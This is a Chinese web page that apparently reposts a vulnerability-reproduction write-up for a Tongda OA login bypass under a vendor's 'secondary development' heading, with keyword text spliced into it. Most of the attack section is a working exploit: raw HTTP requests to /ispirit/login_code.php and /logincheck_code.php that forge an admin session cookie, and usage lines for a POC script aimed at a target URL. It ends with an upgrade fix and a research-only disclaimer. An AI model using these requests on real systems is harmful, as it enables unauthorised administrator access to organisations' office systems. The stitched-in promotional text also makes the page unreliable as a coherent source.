Home
>
oa二次开发项目
>
通达oa 二次开发
通达oa 二次开发

time:2020-07-26 08:44:32

author:重庆佰鼎科技有限公司

【Font size: big medium smail

本文由重庆佰鼎科技有限公司提供,重点介绍了通达oa 二次开发相关内容。重庆佰鼎科技有限公司专业提供oa二次开发项目,通达OA流程引擎二次开发 pdf,泛微oa jsp二次开发等多项产品服务。秉承着真诚、专业、责任、科学的宗旨,在行业内备受赞誉坚持用专业与专注帮助每一个客户。

通达oa 二次开发新增内容1:范围

今天不是炒冷饭:主要是昨天有个兄弟看了文章后问了一下怎么手动获取cookie,相互交流了一下,觉得还是有必要发一下,这个手工获取cookie的流程。

一、漏洞描述

通达OA是一套办公系统。通达OA官方于4月17日发布安全更新。经分析,在该次安全更新中修复了包括任意用户登录在内的高危漏洞。攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理员身份登录OA系统。

二、影响版本

通达OA2017、V11.X

环境搭建:自行镜像环境搭建(后台回复“tongda”获取环境和POC)

本实验复现环境使用2017版本。

三、漏洞复现

新增内容2:范围2017版本手工获取cookie

方法一:获取cookie

手工获取cookie的PHPSESSID

GET方法访问/ispirit/login_code.php路径

GET/ispirit/login_code.phpHTTP/1.1Host: thelostworldCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5;Connection: close

获取返回回来是否codeuid

HTTP/1.1200OKServer: thelostworldDate: Wed, 22 Apr 2020 13:29:42 GMTContent-Type: text/html; charset=gbkConnection: closeVary: Accept-EncodingContent-Length: 239​{"codeuid":"{thelostworld}","authcode":"thelostworld"}

提交数据路径/logincheck_code.php

POST/logincheck_code.phpHTTP/1.1Host: thelostworldCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5;Connection: closeContent-Length: 120​{'codeuid':'thelostworld','uid':'1','source':'pc','type':'confirm','username':'admin'}

注意一定需要前面抓的codeuid

将codeuid、uid、source、type、username写入到会话中

HTTP/1.1200OKServer: thelostworldDate: Wed, 22 Apr 2020 14:07:44 GMTContent-Type: text/html; charset=gbkConnection: closeVary: Accept-EncodingExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheContent-Length: 55​{"status":1,"msg":"thelostworld","url":"thelostworld"}

如果是"status":1就存在漏洞,同时本次的Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5;就是本次的会话PHPSESSID。

上面两个流程就是整个手工获取Cookie的流程。

方法二:poc获取cookie

详细POC参数

➜ thelostworld git:(master) python3 tongda-oA.py -husage: POC.py [-h] [-v {11,2017}] [-url TARGETURL]​​optional arguments: -h, --help show this help message and exit -v {11,2017}, --tdoaversion {11,2017} Target TongDa OA Version. e.g: -v 11、-v 2017 -url TARGETURL, --targeturl TARGETURL Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1

获取SESSIONID

V11.X 版本

python3 POC.py -v 11 -url http://www.XXX.com

2017版本

python3 POC.py -v 2017 -url http://www.XXX.com

抓取数据包替换SESSIONID通达oa 二次开发

四、总结

新增内容3:范围

1、手工获取cookie过程注意URL路径,期间的cookie不要修改,还有codeuid需要传递多次注意不要改变。

2、漏洞存在判定就是本次将POST的数据包中的内容({'codeuid': 'thelostworld', 'uid': '1', 'source': 'pc', 'type': 'confirm', 'username': 'admin'})强行提交写入到session会话中去,返回状态"status":1就是存在漏洞。同时本次的cookie就是POC执行一次返回回来的cookie。

(个人理解,仅做理解参考)

注:本内容里面的codeuid、authcode部分迷糊数据被替换成thelostworld

五、漏洞修复

及时更新11.5版本

(https://www.tongda2000.com/download/sp2019.php)

参考:

https://vas.riskivy.com/vuln-detail?id=33&from=timeline&isappinstalled=0

https://mp.weixin.qq.com/s/aZMRUZ8DCSVmhlC_qoxIWw

后台回复“tongda”获取环境和POC

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

原文连接

https://mp.weixin.qq.com/s?__biz=MzIyNjk0ODYxMA==&mid=2247483949&idx=1&sn=8a3c1da733bb9b7c0f7a8cc9926dcbed&chksm=e869e140df1e6856597ecedb294b44af699e03864a7bbc6407273673eddca6c9837cef36c93a&token=111804636&lang=zh_CN#rd通达oa 二次开发

Reprint please indicate:http://www.cnsoftweb.com/OAeckf-3199.html